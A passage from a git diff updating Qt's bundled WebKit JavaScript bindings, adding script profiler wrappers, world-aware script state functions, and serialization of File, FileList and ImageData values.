-    bool getQuarantinedScriptObject(Storage* storage, ScriptObject& quarantinedObject);
-#endif
-    bool getQuarantinedScriptObject(Node* node, ScriptObject& quarantinedObject);
-    bool getQuarantinedScriptObject(DOMWindow* domWindow, ScriptObject& quarantinedObject);
-
-}
-
-#endif // ScriptObjectQuarantine_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptProfile.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptProfile.h
new file mode 100644
index 0000000..32095e3
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptProfile.h
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef ScriptProfile_h
+#define ScriptProfile_h
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+#include <profiler/Profile.h>
+
+namespace WebCore {
+
+typedef JSC::Profile ScriptProfile;
+
+} // namespace WebCore
+
+#endif // ENABLE(JAVASCRIPT_DEBUGGER)
+
+#endif // ScriptProfile_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptProfiler.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptProfiler.cpp
new file mode 100644
index 0000000..789e3d3
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptProfiler.cpp
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+
+#include "ScriptProfiler.h"
+
+#include <profiler/Profiler.h>
+
+namespace WebCore {
+
+void ScriptProfiler::start(ScriptState* state, const String& title)
+{
+    JSC::Profiler::profiler()->startProfiling(state, title);
+}
+
+PassRefPtr<ScriptProfile> ScriptProfiler::stop(ScriptState* state, const String& title)
+{
+    return JSC::Profiler::profiler()->stopProfiling(state, title);
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(JAVASCRIPT_DEBUGGER)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptProfiler.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptProfiler.h
new file mode 100644
index 0000000..a86bcfb
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptProfiler.h
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef ScriptProfiler_h
+#define ScriptProfiler_h
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+#include "ScriptProfile.h"
+#include "ScriptState.h"
+
+#include <wtf/Noncopyable.h>
+
+namespace WebCore {
+
+class ScriptProfiler : public Noncopyable {
+public:
+    static void start(ScriptState* state, const String& title);
+    static PassRefPtr<ScriptProfile> stop(ScriptState* state, const String& title);
+};
+
+} // namespace WebCore
+
+#endif // ENABLE(JAVASCRIPT_DEBUGGER)
+
+#endif // ScriptProfiler_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptState.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptState.cpp
index 60ba2a0..3edd1bd 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptState.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptState.cpp
@@ -38,7 +38,13 @@
 
 namespace WebCore {
 
-ScriptState* scriptStateFromNode(Node* node)
+ScriptState* mainWorldScriptState(Frame* frame)
+{
+    JSDOMWindowShell* shell = frame->script()->windowShell(mainThreadNormalWorld());
+    return shell->window()->globalExec();
+}
+
+ScriptState* scriptStateFromNode(DOMWrapperWorld* world, Node* node)
 {
     if (!node)
         return 0;
@@ -48,14 +54,14 @@ ScriptState* scriptStateFromNode(Node* node)
     Frame* frame = document->frame();
     if (!frame)
         return 0;
-    if (!frame->script()->isEnabled())
+    if (!frame->script()->canExecuteScripts(NotAboutToExecuteScript))
         return 0;
-    return frame->script()->globalObject(mainThreadCurrentWorld())->globalExec();
+    return frame->script()->globalObject(world)->globalExec();
 }
 
-ScriptState* scriptStateFromPage(Page* page)
+ScriptState* scriptStateFromPage(DOMWrapperWorld* world, Page* page)
 {
-    return page->mainFrame()->script()->globalObject(mainThreadCurrentWorld())->globalExec();
+    return page->mainFrame()->script()->globalObject(world)->globalExec();
 }
 
 }
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptState.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptState.h
index 279234e..0c7c575 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptState.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptState.h
@@ -36,6 +36,7 @@
 
 namespace WebCore {
     class DOMWrapperWorld;
+    class Frame;
     class Node;
     class Page;
 
@@ -45,8 +46,10 @@ namespace WebCore {
     // For now, the separation is purely by convention.
     typedef JSC::ExecState ScriptState;
 
-    ScriptState* scriptStateFromNode(Node*);
-    ScriptState* scriptStateFromPage(Page*);
+    ScriptState* mainWorldScriptState(Frame*);
+
+    ScriptState* scriptStateFromNode(DOMWrapperWorld*, Node*);
+    ScriptState* scriptStateFromPage(DOMWrapperWorld*, Page*);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptString.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptString.h
index 6dab9a0..18964b8 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptString.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptString.h
@@ -33,6 +33,7 @@
 
 #include "PlatformString.h"
 #include <runtime/UString.h>
+#include <runtime/StringBuilder.h>
 
 namespace WebCore {
 
@@ -57,7 +58,10 @@ public:
 
     ScriptString& operator+=(const String& s)
     {
-        m_str += s;
+        JSC::StringBuilder buffer;
+        buffer.append(m_str);
+        buffer.append(s);
+        m_str = buffer.build();
         return *this;
     }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptValue.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptValue.cpp
index 6eac102..005c329 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptValue.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptValue.cpp
@@ -29,6 +29,8 @@
 #include "config.h"
 #include "ScriptValue.h"
 
+#include "SerializedScriptValue.h"
+
 #include <JavaScriptCore/APICast.h>
 #include <JavaScriptCore/JSValueRef.h>
 
@@ -40,13 +42,13 @@ using namespace JSC;
 
 namespace WebCore {
 
-bool ScriptValue::getString(String& result) const
+bool ScriptValue::getString(ScriptState* scriptState, String& result) const
 {
     if (!m_value)
         return false;
     JSLock lock(SilenceAssertionsOnly);
     UString ustring;
-    if (!m_value.get().getString(ustring))
+    if (!m_value.get().getString(scriptState, ustring))
         return false;
     result = ustring;
     return true;
@@ -81,4 +83,14 @@ bool ScriptValue::isObject() const
     return m_value.get().isObject();
 }
 
+PassRefPtr<SerializedScriptValue> ScriptValue::serialize(ScriptState* scriptState)
+{
+    return SerializedScriptValue::create(scriptState, jsValue());
+}
+
+ScriptValue ScriptValue::deserialize(ScriptState* scriptState, SerializedScriptValue* value)
+{
+    return ScriptValue(value->deserialize(scriptState, scriptState->lexicalGlobalObject()));
+}
+
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptValue.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptValue.h
index 19bb693..3d0d944 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptValue.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptValue.h
@@ -33,11 +33,14 @@
 
 #include "PlatformString.h"
 #include "ScriptState.h"
+#include <runtime/JSValue.h>
 #include <runtime/Protect.h>
+#include <wtf/PassRefPtr.h>
 
 namespace WebCore {
 
 class String;
+class SerializedScriptValue;
 
 class ScriptValue {
 public:
@@ -45,7 +48,7 @@ public:
     virtual ~ScriptValue() {}
 
     JSC::JSValue jsValue() const { return m_value.get(); }
-    bool getString(String& result) const;
+    bool getString(ScriptState*, String& result) const;
     String toString(ScriptState* scriptState) const { return m_value.get().toString(scriptState); }
     bool isEqual(ScriptState*, const ScriptValue&) const;
     bool isNull() const;
@@ -53,6 +56,11 @@ public:
     bool isObject() const;
     bool hasNoValue() const { return m_value == JSC::JSValue(); }
 
+    PassRefPtr<SerializedScriptValue> serialize(ScriptState*);
+    static ScriptValue deserialize(ScriptState*, SerializedScriptValue*);
+
+    static ScriptValue undefined() { return ScriptValue(JSC::jsUndefined()); }
+
 private:
     JSC::ProtectedJSValue m_value;
 };
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptWrappable.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptWrappable.h
new file mode 100644
index 0000000..5e99c1c
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptWrappable.h
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2010, Google Inc. All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ * 
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef ScriptWrappable_h
+#define ScriptWrappable_h
+
+#include "JSDOMWrapper.h"
+#include <runtime/WeakGCPtr.h>
+
+namespace WebCore {
+
+class ScriptWrappable {
+public:
+    ScriptWrappable() : m_wrapper(0) { }
+    
+    DOMObject* wrapper() const
+    {
+        return m_wrapper.get();
+    }
+    
+    void setWrapper(DOMObject* wrapper)
+    {
+        ASSERT(wrapper);
+        m_wrapper = wrapper;
+    }
+    
+    void clearWrapper(DOMObject* wrapper) 
+    { 
+        m_wrapper.clear(wrapper); 
+    }
+    
+private:
+    JSC::WeakGCPtr<DOMObject> m_wrapper;
+};
+
+} // namespace WebCore
+
+#endif // ScriptWrappable_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/SerializedScriptValue.cpp b/src/3rdparty/webkit/WebCore/bindings/js/SerializedScriptValue.cpp
index 48cd92d..fbf8899 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/SerializedScriptValue.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/SerializedScriptValue.cpp
@@ -27,9 +27,19 @@
 #include "config.h"
 #include "SerializedScriptValue.h"
 
+#include "File.h"
+#include "FileList.h"
+#include "ImageData.h"
+#include "JSDOMGlobalObject.h"
+#include "JSFile.h"
+#include "JSFileList.h"
+#include "JSImageData.h"
+#include <JavaScriptCore/APICast.h>
 #include <runtime/DateInstance.h>
 #include <runtime/ExceptionHelpers.h>
+#include <runtime/JSLock.h>
 #include <runtime/PropertyNameArray.h>
+#include <wtf/ByteArray.h>
 #include <wtf/HashTraits.h>
 #include <wtf/Vector.h>
 
@@ -136,6 +146,52 @@ private:
     unsigned m_length;
 };
 
+class SerializedFileList : public SharedSerializedData {
+public:
+    static PassRefPtr<SerializedFileList> create(const FileList* list)
+    {
+        return adoptRef(new SerializedFileList(list));
+    }
+
+    unsigned length() const { return m_files.size(); }
+    const String& item(unsigned idx) { return m_files[idx]; }
+
+private:
+    SerializedFileList(const FileList* list)
+    {
+        unsigned length = list->length();
+        m_files.reserveCapacity(length);
+        for (unsigned i = 0; i < length; i++)
+            m_files.append(list->item(i)->path().crossThreadString());
+    }
+
+    Vector<String> m_files;
+};
+
+class SerializedImageData : public SharedSerializedData {
+public:
+    static PassRefPtr<SerializedImageData> create(const ImageData* imageData)
+    {
+        return adoptRef(new SerializedImageData(imageData));
+    }
+    
+    unsigned width() const { return m_width; }
+    unsigned height() const { return m_height; }
+    WTF::ByteArray* data() const { return m_storage.get(); }
+private:
+    SerializedImageData(const ImageData* imageData)
+        : m_width(imageData->width())
+        , m_height(imageData->height())
+    {
+        WTF::ByteArray* array = imageData->data()->data();
+        m_storage = WTF::ByteArray::create(array->length());
+        memcpy(m_storage->data(), array->data(), array->length());
+    }
+    unsigned m_width;
+    unsigned m_height;
+    RefPtr<WTF::ByteArray> m_storage;
+};
+
 SerializedScriptValueData::SerializedScriptValueData(RefPtr<SerializedObject> data)
     : m_type(ObjectType)
     , m_sharedData(data)
@@ -148,6 +204,24 @@ SerializedScriptValueData::SerializedScriptValueData(RefPtr<SerializedArray> dat
 {
 }
 
+SerializedScriptValueData::SerializedScriptValueData(const FileList* fileList)
+    : m_type(FileListType)
+    , m_sharedData(SerializedFileList::create(fileList))
+{
+}
+
+SerializedScriptValueData::SerializedScriptValueData(const ImageData* imageData)
+    : m_type(ImageDataType)
+    , m_sharedData(SerializedImageData::create(imageData))
+{
+}
+
+SerializedScriptValueData::SerializedScriptValueData(const File* file)
+    : m_type(FileType)
+    , m_string(file->path().crossThreadString())
+{
+}
+
 SerializedArray* SharedSerializedData::asArray()
 {
     return static_cast<SerializedArray*>(this);
@@ -158,6 +232,16 @@ SerializedObject* SharedSerializedData::asObject()
     return static_cast<SerializedObject*>(this);
 }
 
+SerializedFileList* SharedSerializedData::asFileList()
+{
+    return static_cast<SerializedFileList*>(this);
+}
+
+SerializedImageData* SharedSerializedData::asImageData()
+{
+    return static_cast<SerializedImageData*>(this);
+}
+
 static const unsigned maximumFilterRecursion = 40000;
 enum WalkerState { StateUnknown, ArrayStartState, ArrayStartVisitMember, ArrayEndVisitMember,
     ObjectStartState, ObjectStartVisitMember, ObjectEndVisitMember };
@@ -470,7 +554,7 @@ struct SerializingTreeWalker : public BaseWalker {
             return SerializedScriptValueData(value);
 
         if (value.isString())
-            return SerializedScriptValueData(asString(value)->value());
+            return SerializedScriptValueData(asString(value)->value(m_exec));
 
         if (value.isNumber())
             return SerializedScriptValueData(SerializedScriptValueData::NumberType, value.uncheckedGetNumber());
@@ -481,10 +565,19 @@ struct SerializingTreeWalker : public BaseWalker {
         if (isArray(value))
             return SerializedScriptValueData();
 
-        CallData unusedData;
-        if (value.isObject() && value.getCallData(unusedData) == CallTypeNone)
-            return SerializedScriptValueData();
-
+        if (value.isObject()) {
+            JSObject* obj = asObject(value);
+            if (obj->inherits(&JSFile::s_info))
+                return SerializedScriptValueData(toFile(obj));
+            if (obj->inherits(&JSFileList::s_info))
+                return SerializedScriptValueData(toFileList(obj));
+            if (obj->inherits(&JSImageData::s_info))
+                return SerializedScriptValueData(toImageData(obj));
+                
+            CallData unusedData;
+            if (value.getCallData(unusedData) == CallTypeNone)
+                return SerializedScriptValueData();
+        }
         // Any other types are expected to serialize as null.
         return SerializedScriptValueData(jsNull());
     }
@@ -559,8 +652,10 @@ struct DeserializingTreeWalker : public BaseWalker {
     typedef JSObject* OutputObject;
     typedef SerializedObject::PropertyNameList PropertyList;
 
-    DeserializingTreeWalker(ExecState* exec, bool mustCopy)
+    DeserializingTreeWalker(ExecState* exec, JSGlobalObject* globalObject, bool mustCopy)
         : BaseWalker(exec)
+        , m_globalObject(globalObject)
+        , m_isDOMGlobalObject(globalObject->inherits(&JSDOMGlobalObject::s_info))
         , m_mustCopy(mustCopy)
     {
     }
@@ -589,14 +684,14 @@ struct DeserializingTreeWalker : public BaseWalker {
 
     JSArray* createOutputArray(unsigned length)
     {
-        JSArray* array = constructEmptyArray(m_exec);
+        JSArray* array = constructEmptyArray(m_exec, m_globalObject);
         array->setLength(length);
         return array;
     }
 
     JSObject* createOutputObject()
     {
-        return constructEmptyObject(m_exec);
+        return constructEmptyObject(m_exec, m_globalObject);
     }
 
     uint32_t length(RefPtr<SerializedArray> array)
@@ -639,11 +734,35 @@ struct DeserializingTreeWalker : public BaseWalker {
             case SerializedScriptValueData::NumberType:
                 return jsNumber(m_exec, value.asDouble());
             case SerializedScriptValueData::DateType:
-                return new (m_exec) DateInstance(m_exec, value.asDouble());
-            default:
+                return new (m_exec) DateInstance(m_exec, m_globalObject->dateStructure(), value.asDouble());
+            case SerializedScriptValueData::FileType:
+                if (!m_isDOMGlobalObject)
+                    return jsNull();
+                return toJS(m_exec, static_cast<JSDOMGlobalObject*>(m_globalObject), File::create(value.asString().crossThreadString()));
+            case SerializedScriptValueData::FileListType: {
+                if (!m_isDOMGlobalObject)
+                    return jsNull();
+                RefPtr<FileList> result = FileList::create();
+                SerializedFileList* serializedFileList = value.asFileList();
+                unsigned length = serializedFileList->length();
+                for (unsigned i = 0; i < length; i++)
+                    result->append(File::create(serializedFileList->item(i)));
+                return toJS(m_exec, static_cast<JSDOMGlobalObject*>(m_globalObject), result.get());
+            }
+            case SerializedScriptValueData::ImageDataType: {
+                if (!m_isDOMGlobalObject)
+                    return jsNull();
+                SerializedImageData* serializedImageData = value.asImageData();
+                RefPtr<ImageData> result = ImageData::create(serializedImageData->width(), serializedImageData->height());
+                memcpy(result->data()->data()->data(), serializedImageData->data()->data(), serializedImageData->data()->length());
+                return toJS(m_exec, static_cast<JSDOMGlobalObject*>(m_globalObject), result.get());
+            }
+            case SerializedScriptValueData::EmptyType:
                 ASSERT_NOT_REACHED();
-                return JSValue();
+                return jsNull();
         }
+        ASSERT_NOT_REACHED();
+        return jsNull();
     }
 
     void getPropertyNames(RefPtr<SerializedObject> object, Vector<SerializedObject::PropertyNameList, 16>& properties)
@@ -681,12 +800,15 @@ struct DeserializingTreeWalker : public BaseWalker {
     }
 
 private:
+    void* operator new(size_t);
+    JSGlobalObject* m_globalObject;
+    bool m_isDOMGlobalObject;
     bool m_mustCopy;
 };
 
-JSValue SerializedScriptValueData::deserialize(ExecState* exec, bool mustCopy) const
+JSValue SerializedScriptValueData::deserialize(ExecState* exec, JSGlobalObject* global, bool mustCopy) const
 {
-    DeserializingTreeWalker context(exec, mustCopy);
+    DeserializingTreeWalker context(exec, global, mustCopy);
     return walk<DeserializingTreeWalker>(context, *this);
 }
 
@@ -790,11 +912,15 @@ struct TeardownTreeWalker {
             case SerializedScriptValueData::StringType:
             case SerializedScriptValueData::ImmediateType:
             case SerializedScriptValueData::NumberType:
+            case SerializedScriptValueData::DateType:
+            case SerializedScriptValueData::EmptyType:
+            case SerializedScriptValueData::FileType:
+            case SerializedScriptValueData::FileListType:
+            case SerializedScriptValueData::ImageDataType:
                 return true;
-            default:
-                ASSERT_NOT_REACHED();
-                return JSValue();
         }
+        ASSERT_NOT_REACHED();
+        return true;
     }
 
     void getPropertyNames(RefPtr<SerializedObject> object, Vector<SerializedObject::PropertyNameList, 16>& properties)
@@ -836,4 +962,38 @@ void SerializedScriptValueData::tearDownSerializedData()
     walk<TeardownTreeWalker>(context, *this);
 }
 
+SerializedScriptValue::~SerializedScriptValue()
+{
+}
+
+PassRefPtr<SerializedScriptValue> SerializedScriptValue::create(JSContextRef originContext, JSValueRef apiValue, JSValueRef* exception)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    ExecState* exec = toJS(originContext);
+    JSValue value = toJS(exec, apiValue);
+    PassRefPtr<SerializedScriptValue> serializedValue = SerializedScriptValue::create(exec, value);
+    if (exec->hadException()) {
+        if (exception)
+            *exception = toRef(exec, exec->exception());
+        exec->clearException();
+        return 0;
+    }
+    
+    return serializedValue;
+}
+
+JSValueRef SerializedScriptValue::deserialize(JSContextRef destinationContext, JSValueRef* exception)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    ExecState* exec = toJS(destinationContext);
+    JSValue value = deserialize(exec, exec->lexicalGlobalObject());
+    if (exec->hadException()) {
+        if (exception)
+            *exception = toRef(exec, exec->exception());
+        exec->clearException();
+        return 0;
+    }
+    return toRef(exec, value);
+}
+
 }
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/SerializedScriptValue.h b/src/3rdparty/webkit/WebCore/bindings/js/SerializedScriptValue.h
index f8a126f..93bd0de 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/SerializedScriptValue.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/SerializedScriptValue.h
@@ -29,15 +29,25 @@
 
 #include "ScriptValue.h"
 
+typedef const struct OpaqueJSContext* JSContextRef;
+typedef const struct OpaqueJSValue* JSValueRef;
+
 namespace WebCore {
-    class SerializedObject;
+    class File;
+    class FileList;
+    class ImageData;
     class SerializedArray;
+    class SerializedFileList;
+    class SerializedImageData;
+    class SerializedObject;
 
     class SharedSerializedData : public RefCounted<SharedSerializedData> {
     public:
         virtual ~SharedSerializedData() { }
         SerializedArray* asArray();
         SerializedObject* asObject();
+        SerializedFileList* asFileList();
+        SerializedImageData* asImageData();
     };
 
     class SerializedScriptValue;
@@ -51,12 +61,15 @@ namespace WebCore {
             ImmediateType,
             ObjectType,
             ArrayType,
-            StringType
+            StringType,
+            FileType,
+            FileListType,
+            ImageDataType
         };
 
         SerializedType type() const { return m_type; }
         static SerializedScriptValueData serialize(JSC::ExecState*, JSC::JSValue);
-        JSC::JSValue deserialize(JSC::ExecState*, bool mustCopy) const;
+        JSC::JSValue deserialize(JSC::ExecState*, JSC::JSGlobalObject*, bool mustCopy) const;
 
         ~SerializedScriptValueData()
         {
@@ -74,6 +87,10 @@ namespace WebCore {
             , m_string(string.crossThreadString()) // FIXME: Should be able to just share the Rep
         {
         }
+        
+        explicit SerializedScriptValueData(const File*);
+        explicit SerializedScriptValueData(const FileList*);
+        explicit SerializedScriptValueData(const ImageData*);
 
         explicit SerializedScriptValueData(JSC::JSValue value)
             : m_type(ImmediateType)
@@ -105,7 +122,7 @@ namespace WebCore {
 
         String asString() const
         {
-            ASSERT(m_type == StringType);
+            ASSERT(m_type == StringType || m_type == FileType);
             return m_string;
         }
 
@@ -123,6 +140,20 @@ namespace WebCore {
             return m_sharedData->asArray();
         }
 
+        SerializedFileList* asFileList() const
+        {
+            ASSERT(m_type == FileListType);
+            ASSERT(m_sharedData);
+            return m_sharedData->asFileList();
+        }
+        
+        SerializedImageData* asImageData() const
+        {
+            ASSERT(m_type == ImageDataType);
+            ASSERT(m_sharedData);
+            return m_sharedData->asImageData();
+        }
+
         operator bool() const { return m_type != EmptyType; }
 
         SerializedScriptValueData release()
@@ -150,6 +181,8 @@ namespace WebCore {
             return adoptRef(new SerializedScriptValue(SerializedScriptValueData::serialize(exec, value)));
         }
 
+        static PassRefPtr<SerializedScriptValue> create(JSContextRef, JSValueRef value, JSValueRef* exception);
+
         static PassRefPtr<SerializedScriptValue> create(String string)
         {
             return adoptRef(new SerializedScriptValue(SerializedScriptValueData(string)));
@@ -175,14 +208,15 @@ namespace WebCore {
             return m_value.asString();
         }
 
-        JSC::JSValue deserialize(JSC::ExecState* exec)
+        JSC::JSValue deserialize(JSC::ExecState* exec, JSC::JSGlobalObject* globalObject)
         {
             if (!m_value)
                 return JSC::jsNull();
-            return m_value.deserialize(exec, m_mustCopy);
+            return m_value.deserialize(exec, globalObject, m_mustCopy);
         }
 
-        ~SerializedScriptValue() {}
+        JSValueRef deserialize(JSContextRef, JSValueRef* exception);
+        ~SerializedScriptValue();
 
     private:
         SerializedScriptValue(SerializedScriptValueData value)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/WebCoreJSClientData.h b/src/3rdparty/webkit/WebCore/bindings/js/WebCoreJSClientData.h
new file mode 100644
index 0000000..e0d2e4e
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/WebCoreJSClientData.h
@@ -0,0 +1,78 @@
+/*
+ *  Copyright (C) 1999-2001 Harri Porten (porten@kde.org)
+ *  Copyright (C) 2003, 2004, 2005, 2006, 2008, 2009 Apple Inc. All rights reserved.
+ *  Copyright (C) 2007 Samuel Weinig <sam@webkit.org>
+ *  Copyright (C) 2009 Google, Inc. All rights reserved.
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
